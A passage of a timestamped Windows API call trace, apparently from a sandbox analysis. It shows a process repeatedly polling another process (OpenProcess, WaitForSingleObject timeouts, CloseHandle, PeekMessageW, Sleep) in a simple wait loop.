(hObject=0x260) returned 1 [0231.117] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.117] Sleep (dwMilliseconds=0x1) [0231.133] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.133] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.149] CloseHandle (hObject=0x260) returned 1 [0231.149] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.149] Sleep (dwMilliseconds=0x1) [0231.164] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.164] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.180] CloseHandle (hObject=0x260) returned 1 [0231.180] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.180] Sleep (dwMilliseconds=0x1) [0231.197] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.197] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.212] CloseHandle (hObject=0x260) returned 1 [0231.212] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.212] Sleep (dwMilliseconds=0x1) [0231.238] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.238] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.242] CloseHandle (hObject=0x260) returned 1 [0231.242] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.242] Sleep (dwMilliseconds=0x1) [0231.268] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.268] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.273] CloseHandle (hObject=0x260) returned 1 [0231.273] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.274] Sleep (dwMilliseconds=0x1) [0231.315] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.315] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.320] CloseHandle (hObject=0x260) returned 1 [0231.320] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.320] Sleep (dwMilliseconds=0x1) [0231.336] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.336] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.352] CloseHandle (hObject=0x260) returned 1 [0231.352] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.352] Sleep (dwMilliseconds=0x1) [0231.368] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.368] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.383] CloseHandle (hObject=0x260) returned 1 [0231.383] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.383] Sleep (dwMilliseconds=0x1) [0231.399] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.399] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.414] CloseHandle (hObject=0x260) returned 1 [0231.415] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.415] Sleep (dwMilliseconds=0x1) [0231.430] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.430] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.445] CloseHandle (hObject=0x260) returned 1 [0231.445] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.445] Sleep (dwMilliseconds=0x1) [0231.461] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.461] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.477] CloseHandle (hObject=0x260) returned 1 [0231.477] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.477] Sleep (dwMilliseconds=0x1) [0231.492] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.492] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.508] CloseHandle (hObject=0x260) returned 1 [0231.508] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.508] Sleep (dwMilliseconds=0x1) [0231.523] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.524] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.541] CloseHandle (hObject=0x260) returned 1 [0231.541] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.541] Sleep (dwMilliseconds=0x1) [0231.555] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.555] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.570] CloseHandle (hObject=0x260) returned 1 [0231.570] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.570] Sleep (dwMilliseconds=0x1) [0231.586] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.586] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.602] CloseHandle (hObject=0x260) returned 1 [0231.602] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.602] Sleep (dwMilliseconds=0x1) [0231.617] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.617] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.633] CloseHandle (hObject=0x260) returned 1 [0231.633] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.633] Sleep (dwMilliseconds=0x1) [0231.648] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.649] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.664] CloseHandle (hObject=0x260) returned 1 [0231.664] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.664] Sleep (dwMilliseconds=0x1) [0231.680] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.680] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.695] CloseHandle (hObject=0x260) returned 1 [0231.695] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.695] Sleep (dwMilliseconds=0x1) [0231.711] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.711] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.727] CloseHandle (hObject=0x260) returned 1 [0231.727] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.727] Sleep (dwMilliseconds=0x1) [0231.742] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.742] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.758] CloseHandle (hObject=0x260) returned 1 [0231.758] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.758] Sleep (dwMilliseconds=0x1) [0231.773] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.773] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.789] CloseHandle (hObject=0x260) returned 1 [0231.789] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.789] Sleep (dwMilliseconds=0x1) [0231.805] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.805] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.823] CloseHandle (hObject=0x260) returned 1 [0231.823] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.823] Sleep (dwMilliseconds=0x1) [0231.836] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.836] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.852] CloseHandle (hObject=0x260) returned 1 [0231.852] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.852] Sleep (dwMilliseconds=0x1) [0231.867] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.867] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.883] CloseHandle (hObject=0x260) returned 1 [0231.883] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.883] Sleep (dwMilliseconds=0x1) [0231.899] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.899] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.914] CloseHandle (hObject=0x260) returned 1 [0231.914] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.914] Sleep (dwMilliseconds=0x1) [0233.366] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.366] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.367] CloseHandle (hObject=0x268) returned 1 [0233.367] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.367] Sleep (dwMilliseconds=0x1) [0233.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.383] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.398] CloseHandle (hObject=0x268) returned 1 [0233.398] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.398] Sleep (dwMilliseconds=0x1) [0233.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.414] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.430] CloseHandle (hObject=0x268) returned 1 [0233.430] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.430] Sleep (dwMilliseconds=0x1) [0233.445] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.445] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.461] CloseHandle (hObject=0x268) returned 1 [0233.461] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.461] Sleep (dwMilliseconds=0x1) [0233.477] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.477] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.492] CloseHandle (hObject=0x268) returned 1 [0233.492] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.492] Sleep (dwMilliseconds=0x1) [0233.508] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.508] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.524] CloseHandle (hObject=0x268) returned 1 [0233.524] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.524] Sleep (dwMilliseconds=0x1) [0233.539] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.539] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.555] CloseHandle (hObject=0x268) returned 1 [0233.555] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.555] Sleep (dwMilliseconds=0x1) [0233.570] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.570] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.586] CloseHandle (hObject=0x268) returned 1 [0233.586] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.586] Sleep (dwMilliseconds=0x1) [0233.604] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.604] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.617] CloseHandle (hObject=0x268) returned 1 [0233.617] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.617] Sleep (dwMilliseconds=0x1) [0233.633] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.633] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.649] CloseHandle (hObject=0x268) returned 1 [0233.649] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.649] Sleep (dwMilliseconds=0x1) [0233.677] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.677] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.680] CloseHandle (hObject=0x268) returned 1 [0233.680] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.680] Sleep (dwMilliseconds=0x1) [0233.697] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.697] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.711] CloseHandle (hObject=0x268) returned 1 [0233.711] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.711] Sleep (dwMilliseconds=0x1) [0233.726] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.727] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.742] CloseHandle (hObject=0x268) returned 1 [0233.742] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.742] Sleep (dwMilliseconds=0x1) [0233.758] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.758] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.774] CloseHandle (hObject=0x268) returned 1 [0233.774] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.774] Sleep (dwMilliseconds=0x1) [0233.789] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.789] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.805] CloseHandle (hObject=0x268) returned 1 [0233.805] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.805] Sleep (dwMilliseconds=0x1) [0233.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.820] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.836] CloseHandle (hObject=0x268) returned 1 [0233.836] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.836] Sleep (dwMilliseconds=0x1) [0233.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.858] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.867] CloseHandle (hObject=0x268) returned 1 [0233.867] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.867] Sleep (dwMilliseconds=0x1) [0233.883] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.883] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.899] CloseHandle (hObject=0x268) returned 1 [0233.899] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.899] Sleep (dwMilliseconds=0x1) [0233.914] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.914] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.930] CloseHandle (hObject=0x268) returned 1 [0233.930] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.930] Sleep (dwMilliseconds=0x1) [0233.945] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.945] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.961] CloseHandle (hObject=0x268) returned 1 [0233.961] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.961] Sleep (dwMilliseconds=0x1) [0233.977] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0233.977] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0233.994] CloseHandle (hObject=0x268) returned 1 [0233.994] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0233.994] Sleep (dwMilliseconds=0x1) [0234.008] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.008] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.023] CloseHandle (hObject=0x268) returned 1 [0234.023] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.023] Sleep (dwMilliseconds=0x1) [0234.039] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.039] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.055] CloseHandle (hObject=0x268) returned 1 [0234.055] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.055] Sleep (dwMilliseconds=0x1) [0234.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.070] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.086] CloseHandle (hObject=0x268) returned 1 [0234.086] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.086] Sleep (dwMilliseconds=0x1) [0234.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.102] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.117] CloseHandle (hObject=0x268) returned 1 [0234.117] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.117] Sleep (dwMilliseconds=0x1) [0234.133] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.133] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.148] CloseHandle (hObject=0x268) returned 1 [0234.148] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.148] Sleep (dwMilliseconds=0x1) [0234.164] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.164] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.180] CloseHandle (hObject=0x268) returned 1 [0234.180] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.180] Sleep (dwMilliseconds=0x1) [0234.181] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.181] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.192] CloseHandle (hObject=0x268) returned 1 [0234.192] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.192] Sleep (dwMilliseconds=0x1) [0234.194] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.194] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.204] CloseHandle (hObject=0x268) returned 1 [0234.204] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.204] Sleep (dwMilliseconds=0x1) [0234.205] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.205] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.227] CloseHandle (hObject=0x268) returned 1 [0234.227] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.227] Sleep (dwMilliseconds=0x1) [0234.244] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.244] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.257] CloseHandle (hObject=0x268) returned 1 [0234.257] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.257] Sleep (dwMilliseconds=0x1) [0234.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.273] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.301] CloseHandle (hObject=0x268) returned 1 [0234.301] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.301] Sleep (dwMilliseconds=0x1) [0234.304] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.304] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.320] CloseHandle (hObject=0x268) returned 1 [0234.320] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.320] Sleep (dwMilliseconds=0x1) [0234.344] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.344] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.351] CloseHandle (hObject=0x268) returned 1 [0234.352] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.352] Sleep (dwMilliseconds=0x1) [0234.367] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 